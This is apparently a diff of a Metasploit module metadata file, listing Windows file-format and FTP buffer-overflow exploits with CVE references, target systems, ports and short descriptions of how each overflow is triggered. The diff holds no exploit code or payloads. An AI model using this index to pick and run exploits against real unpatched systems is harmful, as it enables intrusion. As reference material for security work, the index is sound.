"is_install_path": true, "ref_name": "windows/fileformat/zahir_enterprise_plus_csv", @@ -160746,6 +164507,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -160753,9 +164523,7 @@ "exploit_windows/fileformat/zinfaudioplayer221_pls": { "name": "Zinf Audio Player 2.2.1 (PLS File) Stack Buffer Overflow", "fullname": "exploit/windows/fileformat/zinfaudioplayer221_pls", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2004-09-24", "type": "exploit", @@ -160763,7 +164531,7 @@ "Trancek ", "aushack " ], - "description": "This module exploits a stack-based buffer overflow in the Zinf Audio Player 2.2.1.\n An attacker must send the file to victim and the victim must open the file.\n Alternatively it may be possible to execute code remotely via an embedded\n PLS file within a browser, when the PLS extension is registered to Zinf.\n This functionality has not been tested in this module.", + "description": "This module exploits a stack-based buffer overflow in the Zinf Audio Player 2.2.1.\n An attacker must send the file to victim and the victim must open the file.\n Alternatively it may be possible to execute code remotely via an embedded\n PLS file within a browser, when the PLS extension is registered to Zinf.\n This functionality has not been tested in this module.", "references": [ "CVE-2004-0964", "OSVDB-10416", @@ -160773,16 +164541,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Zinf Universal 2.2.1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/fileformat/zinfaudioplayer221_pls.rb", "is_install_path": true, "ref_name": "windows/fileformat/zinfaudioplayer221_pls", @@ -160790,6 +164554,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -160797,16 +164570,14 @@ "exploit_windows/firewall/blackice_pam_icq": { "name": "ISS PAM.dll ICQ Parser Buffer Overflow", "fullname": "exploit/windows/firewall/blackice_pam_icq", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-03-18", "type": "exploit", "author": [ "spoonm " ], - "description": "This module exploits a stack buffer overflow in the ISS products that use\n the iss-pam1.dll ICQ parser (Blackice/RealSecure). Successful exploitation\n will result in arbitrary code execution as LocalSystem. This exploit\n only requires 1 UDP packet, which can be both spoofed and sent to a broadcast\n address.\n\n The ISS exception handler will recover the process after each overflow, giving\n us the ability to bruteforce the service and exploit it multiple times.", + "description": "This module exploits a stack buffer overflow in the ISS products that use\n the iss-pam1.dll ICQ parser (Blackice/RealSecure). Successful exploitation\n will result in arbitrary code execution as LocalSystem. This exploit\n only requires 1 UDP packet, which can be both spoofed and sent to a broadcast\n address.\n\n The ISS exception handler will recover the process after each overflow, giving\n us the ability to bruteforce the service and exploit it multiple times.", "references": [ "CVE-2004-0362", "OSVDB-4355", @@ -160815,12 +164586,8 @@ "platform": "Windows", "arch": "", "rport": 1, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Bruteforce", "Bruteforce iis-pam1.dll", @@ -160846,7 +164613,7 @@ "WinXP SP0 - SP1", "Win2003 SP0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/firewall/blackice_pam_icq.rb", "is_install_path": true, "ref_name": "windows/firewall/blackice_pam_icq", @@ -160854,6 +164621,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -160861,16 +164637,14 @@ "exploit_windows/firewall/kerio_auth": { "name": "Kerio Firewall 2.1.4 Authentication Packet Overflow", "fullname": "exploit/windows/firewall/kerio_auth", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2003-04-28", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Kerio Personal Firewall\n administration authentication process. This module has only been tested\n against Kerio Personal Firewall 2 (2.1.4).", + "description": "This module exploits a stack buffer overflow in Kerio Personal Firewall\n administration authentication process. This module has only been tested\n against Kerio Personal Firewall 2 (2.1.4).", "references": [ "CVE-2003-0220", "OSVDB-6294", @@ -160879,18 +164653,14 @@ "platform": "Windows", "arch": "", "rport": 44334, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro SP4 English", "Windows XP Pro SP0 English", "Windows XP Pro SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/firewall/kerio_auth.rb", "is_install_path": true, "ref_name": "windows/firewall/kerio_auth", @@ -160898,6 +164668,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -160905,9 +164684,7 @@ "exploit_windows/ftp/32bitftp_list_reply": { "name": "32bit FTP Client Stack Buffer Overflow ", "fullname": "exploit/windows/ftp/32bitftp_list_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", @@ -160923,16 +164700,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "XP Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/32bitftp_list_reply.rb", "is_install_path": true, "ref_name": "windows/ftp/32bitftp_list_reply", @@ -160940,6 +164713,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -160947,9 +164729,7 @@ "exploit_windows/ftp/3cdaemon_ftp_user": { "name": "3Com 3CDaemon 2.0 FTP Username Overflow", "fullname": "exploit/windows/ftp/3cdaemon_ftp_user", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-01-04", "type": "exploit", @@ -160957,7 +164737,7 @@ "hdm ", "otr" ], - "description": "This module exploits a vulnerability in the 3Com 3CDaemon\n FTP service. This package is being distributed from the 3Com\n web site and is recommended in numerous support documents.\n This module uses the USER command to trigger the overflow.", + "description": "This module exploits a vulnerability in the 3Com 3CDaemon\n FTP service. This package is being distributed from the 3Com\n web site and is recommended in numerous support documents.\n This module uses the USER command to trigger the overflow.", "references": [ "CVE-2005-0277", "OSVDB-12810", @@ -160982,7 +164762,7 @@ "Windows 2000 Pro SP4 French", "Windows XP English SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb", "is_install_path": true, "ref_name": "windows/ftp/3cdaemon_ftp_user", @@ -160990,6 +164770,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -160997,16 +164786,14 @@ "exploit_windows/ftp/aasync_list_reply": { "name": "AASync v2.2.1.0 (Win32) Stack Buffer Overflow (LIST)", "fullname": "exploit/windows/ftp/aasync_list_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", "author": [ "corelanc0d3r " ], - "description": "This module exploits a stack buffer overflow in AASync v2.2.1.0, triggered when\n processing the response on a LIST command. During the overflow, a structured exception\n handler record gets overwritten.", + "description": "This module exploits a stack buffer overflow in AASync v2.2.1.0, triggered when\n processing the response on a LIST command. During the overflow, a structured exception\n handler record gets overwritten.", "references": [ "OSVDB-68701", "EDB-16738", @@ -161015,16 +164802,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "XP SP3 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/aasync_list_reply.rb", "is_install_path": true, "ref_name": "windows/ftp/aasync_list_reply", @@ -161032,6 +164815,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161039,9 +164831,7 @@ "exploit_windows/ftp/ability_server_stor": { "name": "Ability Server 2.34 STOR Command Stack Buffer Overflow", "fullname": "exploit/windows/ftp/ability_server_stor", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2004-10-22", "type": "exploit", @@ -161050,7 +164840,7 @@ "Dark Eagle", "Peter Osterberg" ], - "description": "This module exploits a stack-based buffer overflow in Ability Server 2.34.\n Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,\n which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.\n\n The vulnerability has been confirmed on version 2.34 and has also been reported\n in version 2.25 and 2.32. Other versions may also be affected.", + "description": "This module exploits a stack-based buffer overflow in Ability Server 2.34.\n Ability Server fails to check input size when parsing 'STOR' and 'APPE' commands,\n which leads to a stack based buffer overflow. This plugin uses the 'STOR' command.\n\n The vulnerability has been confirmed on version 2.34 and has also been reported\n in version 2.25 and 2.32. Other versions may also be affected.", "references": [ "CVE-2004-1626", "OSVDB-11030", @@ -161071,7 +164861,7 @@ "Windows XP SP2 ENG", "Windows XP SP3 ENG" ], - "mod_time": "2022-08-08 01:40:15 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/ability_server_stor.rb", "is_install_path": true, "ref_name": "windows/ftp/ability_server_stor", @@ -161079,6 +164869,15 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161086,16 +164885,14 @@ "exploit_windows/ftp/absolute_ftp_list_bof": { "name": "AbsoluteFTP 1.9.6 - 2.2.10 LIST Command Remote Buffer Overflow", "fullname": "exploit/windows/ftp/absolute_ftp_list_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-11-09", "type": "exploit", "author": [ "Node" ], - "description": "This module exploits VanDyke Software AbsoluteFTP by overflowing\n a filename buffer related to the LIST command.", + "description": "This module exploits VanDyke Software AbsoluteFTP by overflowing\n a filename buffer related to the LIST command.", "references": [ "CVE-2011-5164", "OSVDB-77105", @@ -161104,16 +164901,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "WinXP SP2 - Windows 7 SP1 / AbsoluteFTP 1.9.6 - 2.2.10.252" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb", "is_install_path": true, "ref_name": "windows/ftp/absolute_ftp_list_bof", @@ -161121,6 +164914,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161128,9 +164930,7 @@ "exploit_windows/ftp/ayukov_nftp": { "name": "Ayukov NFTP FTP Client Buffer Overflow", "fullname": "exploit/windows/ftp/ayukov_nftp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-10-21", "type": "exploit", @@ -161147,16 +164947,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Pro SP3 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/ayukov_nftp.rb", "is_install_path": true, "ref_name": "windows/ftp/ayukov_nftp", @@ -161164,6 +164960,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161171,9 +164976,7 @@ "exploit_windows/ftp/bison_ftp_bof": { "name": "BisonWare BisonFTP Server Buffer Overflow", "fullname": "exploit/windows/ftp/bison_ftp_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-08-07", "type": "exploit", @@ -161182,7 +164985,7 @@ "veerendragg ", "Jay Turla" ], - "description": "BisonWare BisonFTP Server 3.5 is prone to an overflow condition.\n This module exploits a buffer overflow vulnerability in the said\n application.", + "description": "BisonWare BisonFTP Server 3.5 is prone to an overflow condition.\n This module exploits a buffer overflow vulnerability in the said\n application.", "references": [ "CVE-1999-1510", "BID-49109", @@ -161202,7 +165005,7 @@ "targets": [ "Bisonware FTP Server / Windows XP SP3 EN" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/bison_ftp_bof.rb", "is_install_path": true, "ref_name": "windows/ftp/bison_ftp_bof", @@ -161210,6 +165013,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161217,16 +165029,14 @@ "exploit_windows/ftp/cesarftp_mkd": { "name": "Cesar FTP 0.99g MKD Command Buffer Overflow", "fullname": "exploit/windows/ftp/cesarftp_mkd", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-06-12", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g.\n\n You must have valid credentials to trigger this vulnerability. Also, you\n only get one chance, so choose your target carefully.", + "description": "This module exploits a stack buffer overflow in the MKD verb in CesarFTP 0.99g.\n\n You must have valid credentials to trigger this vulnerability. Also, you\n only get one chance, so choose your target carefully.", "references": [ "CVE-2006-2961", "OSVDB-26364", @@ -161249,7 +165059,7 @@ "Windows XP SP2/SP3 English", "Windows 2003 SP1 English" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/cesarftp_mkd.rb", "is_install_path": true, "ref_name": "windows/ftp/cesarftp_mkd", @@ -161257,6 +165067,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161264,9 +165083,7 @@ "exploit_windows/ftp/comsnd_ftpd_fmtstr": { "name": "ComSndFTP v1.3.7 Beta USER Format String (Write4) Vulnerability", "fullname": "exploit/windows/ftp/comsnd_ftpd_fmtstr", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2012-06-08", "type": "exploit", @@ -161276,7 +165093,7 @@ "mr_me ", "corelanc0d3r " ], - "description": "This module exploits the ComSndFTP FTP Server version 1.3.7 beta by sending a specially\n crafted format string specifier as a username. The crafted username is sent to the server to\n overwrite the hardcoded function pointer from Ws2_32.dll!WSACleanup. Once this function pointer\n is triggered, the code bypasses dep and then repairs the pointer to execute arbitrary code.\n The SEH exit function is preferred so that the administrators are not left with an unhandled\n exception message. When using the meterpreter payload, the process will never die, allowing\n for continuous exploitation.", + "description": "This module exploits the ComSndFTP FTP Server version 1.3.7 beta by sending a specially\n crafted format string specifier as a username. The crafted username is sent to the server to\n overwrite the hardcoded function pointer from Ws2_32.dll!WSACleanup. Once this function pointer\n is triggered, the code bypasses dep and then repairs the pointer to execute arbitrary code.\n The SEH exit function is preferred so that the administrators are not left with an unhandled\n exception message. When using the meterpreter payload, the process will never die, allowing\n for continuous exploitation.", "references": [ "OSVDB-82798", "EDB-19024" @@ -161284,18 +165101,14 @@ "platform": "Windows", "arch": "x86", "rport": 21, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Windows XP SP3 - English", "Windows Server 2003 - English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb", "is_install_path": true, "ref_name": "windows/ftp/comsnd_ftpd_fmtstr", @@ -161303,6 +165116,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161310,16 +165132,14 @@ "exploit_windows/ftp/dreamftp_format": { "name": "BolinTech Dream FTP Server 1.02 Format String", "fullname": "exploit/windows/ftp/dreamftp_format", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2004-03-03", "type": "exploit", "author": [ "aushack " ], - "description": "This module exploits a format string overflow in the BolinTech\n Dream FTP Server version 1.02. Based on the exploit by SkyLined.", + "description": "This module exploits a format string overflow in the BolinTech\n Dream FTP Server version 1.02. Based on the exploit by SkyLined.", "references": [ "CVE-2004-2074", "OSVDB-4986", @@ -161329,16 +165149,12 @@ "platform": "Windows", "arch": "x86", "rport": 21, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Dream FTP Server v1.02 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/dreamftp_format.rb", "is_install_path": true, "ref_name": "windows/ftp/dreamftp_format", @@ -161346,6 +165162,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161353,16 +165178,14 @@ "exploit_windows/ftp/easyfilesharing_pass": { "name": "Easy File Sharing FTP Server 2.0 PASS Overflow", "fullname": "exploit/windows/ftp/easyfilesharing_pass", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-07-31", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in the Easy File Sharing 2.0\n service. By sending an overly long password, an attacker can execute\n arbitrary code.", + "description": "This module exploits a stack buffer overflow in the Easy File Sharing 2.0\n service. By sending an overly long password, an attacker can execute\n arbitrary code.", "references": [ "CVE-2006-3952", "OSVDB-27646", @@ -161382,7 +165205,7 @@ "Windows 2000 Pro English ALL", "Windows XP Pro SP0/SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/easyfilesharing_pass.rb", "is_install_path": true, "ref_name": "windows/ftp/easyfilesharing_pass", @@ -161390,6 +165213,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161397,9 +165229,7 @@ "exploit_windows/ftp/easyftp_cwd_fixret": { "name": "EasyFTP Server CWD Command Stack Buffer Overflow", "fullname": "exploit/windows/ftp/easyftp_cwd_fixret", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-02-16", "type": "exploit", @@ -161407,7 +165237,7 @@ "Paul Makowski ", "jduck " ], - "description": "This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11\n and earlier. EasyFTP fails to check input size when parsing 'CWD' commands, which\n leads to a stack based buffer overflow. EasyFTP allows anonymous access by\n default; valid credentials are typically unnecessary to exploit this vulnerability.\n\n After version 1.7.0.12, this package was renamed \"UplusFtp\".\n\n This exploit utilizes a small piece of code that I\\'ve referred to as 'fixRet'.\n This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by\n 'fixing' the return address post-exploitation. See references for more information.", + "description": "This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11\n and earlier. EasyFTP fails to check input size when parsing 'CWD' commands, which\n leads to a stack based buffer overflow. EasyFTP allows anonymous access by\n default; valid credentials are typically unnecessary to exploit this vulnerability.\n\n After version 1.7.0.12, this package was renamed \"UplusFtp\".\n\n This exploit utilizes a small piece of code that I\\'ve referred to as 'fixRet'.\n This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by\n 'fixing' the return address post-exploitation. See references for more information.", "references": [ "OSVDB-62134", "BID-38262", @@ -161437,7 +165267,7 @@ "Windows Universal - v1.7.0.10", "Windows Universal - v1.7.0.11" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/easyftp_cwd_fixret.rb", "is_install_path": true, "ref_name": "windows/ftp/easyftp_cwd_fixret", @@ -161445,6 +165275,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161452,9 +165291,7 @@ "exploit_windows/ftp/easyftp_list_fixret": { "name": "EasyFTP Server LIST Command Stack Buffer Overflow", "fullname": "exploit/windows/ftp/easyftp_list_fixret", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-07-05", "type": "exploit", @@ -161463,7 +165300,7 @@ "MFR", "jduck " ], - "description": "This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11.\n credit goes to Karn Ganeshan.\n\n NOTE: Although, this is likely to exploit the same vulnerability as the\n 'easyftp_cwd_fixret' exploit, it uses a slightly different vector.", + "description": "This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11.\n credit goes to Karn Ganeshan.\n\n NOTE: Although, this is likely to exploit the same vulnerability as the\n 'easyftp_cwd_fixret' exploit, it uses a slightly different vector.", "references": [ "OSVDB-62134", "EDB-14400", @@ -161482,7 +165319,7 @@ "targets": [ "Windows XP SP3 - Version 2002" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/easyftp_list_fixret.rb", "is_install_path": true, "ref_name": "windows/ftp/easyftp_list_fixret", @@ -161490,6 +165327,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161497,9 +165343,7 @@ "exploit_windows/ftp/easyftp_mkd_fixret": { "name": "EasyFTP Server MKD Command Stack Buffer Overflow", "fullname": "exploit/windows/ftp/easyftp_mkd_fixret", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-04-04", "type": "exploit", @@ -161507,7 +165351,7 @@ "x90c ", "jduck " ], - "description": "This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11\n and earlier. EasyFTP fails to check input size when parsing 'MKD' commands, which\n leads to a stack based buffer overflow.\n\n NOTE: EasyFTP allows anonymous access by default. However, in order to access the\n 'MKD' command, you must have access to an account that can create directories.\n\n After version 1.7.0.12, this package was renamed \"UplusFtp\".\n\n This exploit utilizes a small piece of code that I\\'ve referred to as 'fixRet'.\n This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by\n 'fixing' the return address post-exploitation. See references for more information.", + "description": "This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11\n and earlier. EasyFTP fails to check input size when parsing 'MKD' commands, which\n leads to a stack based buffer overflow.\n\n NOTE: EasyFTP allows anonymous access by default. However, in order to access the\n 'MKD' command, you must have access to an account that can create directories.\n\n After version 1.7.0.12, this package was renamed \"UplusFtp\".\n\n This exploit utilizes a small piece of code that I\\'ve referred to as 'fixRet'.\n This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by\n 'fixing' the return address post-exploitation. See references for more information.", "references": [ "OSVDB-62134", "EDB-12044", @@ -161535,7 +165379,7 @@ "Windows Universal - v1.7.0.10", "Windows Universal - v1.7.0.11" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb", "is_install_path": true, "ref_name": "windows/ftp/easyftp_mkd_fixret", @@ -161543,6 +165387,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161550,16 +165403,14 @@ "exploit_windows/ftp/filecopa_list_overflow": { "name": "FileCopa FTP Server Pre 18 Jul Version", "fullname": "exploit/windows/ftp/filecopa_list_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-07-19", "type": "exploit", "author": [ "Jacopo Cervini" ], - "description": "This module exploits the buffer overflow found in the LIST command\n in fileCOPA FTP server pre 18 Jul 2006 version discovered by www.appsec.ch", + "description": "This module exploits the buffer overflow found in the LIST command\n in fileCOPA FTP server pre 18 Jul 2006 version discovered by www.appsec.ch", "references": [ "CVE-2006-3726", "OSVDB-27389", @@ -161579,7 +165430,7 @@ "Windows 2k Server SP4 English", "Windows XP Pro SP2 Italian" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/filecopa_list_overflow.rb", "is_install_path": true, "ref_name": "windows/ftp/filecopa_list_overflow", @@ -161587,6 +165438,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161594,9 +165454,7 @@ "exploit_windows/ftp/filewrangler_list_reply": { "name": "FileWrangler 5.30 Stack Buffer Overflow", "fullname": "exploit/windows/ftp/filewrangler_list_reply", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2010-10-12", "type": "exploit", @@ -161604,7 +165462,7 @@ "nullthreat", "corelanc0d3r " ], - "description": "This module exploits a buffer overflow in the FileWrangler client\n that is triggered when the client connects to a FTP server and lists\n the directory contents, containing an overly long directory name.", + "description": "This module exploits a buffer overflow in the FileWrangler client\n that is triggered when the client connects to a FTP server and lists\n the directory contents, containing an overly long directory name.", "references": [ "OSVDB-94555", "URL-http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/" @@ -161612,16 +165470,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/filewrangler_list_reply.rb", "is_install_path": true, "ref_name": "windows/ftp/filewrangler_list_reply", @@ -161629,6 +165483,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161636,9 +165499,7 @@ "exploit_windows/ftp/freefloatftp_user": { "name": "Free Float FTP Server USER Command Buffer Overflow", "fullname": "exploit/windows/ftp/freefloatftp_user", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-06-12", "type": "exploit", @@ -161646,7 +165507,7 @@ "D35m0nd142", "Doug Prostko " ], - "description": "Freefloat FTP Server is prone to an overflow condition. It\n fails to properly sanitize user-supplied input resulting in a\n stack-based buffer overflow. With a specially crafted 'USER'\n command, a remote attacker can potentially have an unspecified\n impact.", + "description": "Freefloat FTP Server is prone to an overflow condition. It\n fails to properly sanitize user-supplied input resulting in a\n stack-based buffer overflow. With a specially crafted 'USER'\n command, a remote attacker can potentially have an unspecified\n impact.", "references": [ "OSVDB-69621", "EDB-23243" @@ -161664,7 +165525,7 @@ "targets": [ "FreeFloat / Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/ftp/freefloatftp_user.rb", "is_install_path": true, "ref_name": "windows/ftp/freefloatftp_user", @@ -161672,6 +165533,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -161679,9 +165549,7 @@ "exploit_windows/ftp/freefloatftp_wbem": { "name": "FreeFloat FTP Server Arbitrary File Upload", "fullname": "exploit/windows/ftp/freefloatftp_wbem", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-12-07", "type": "exploit", 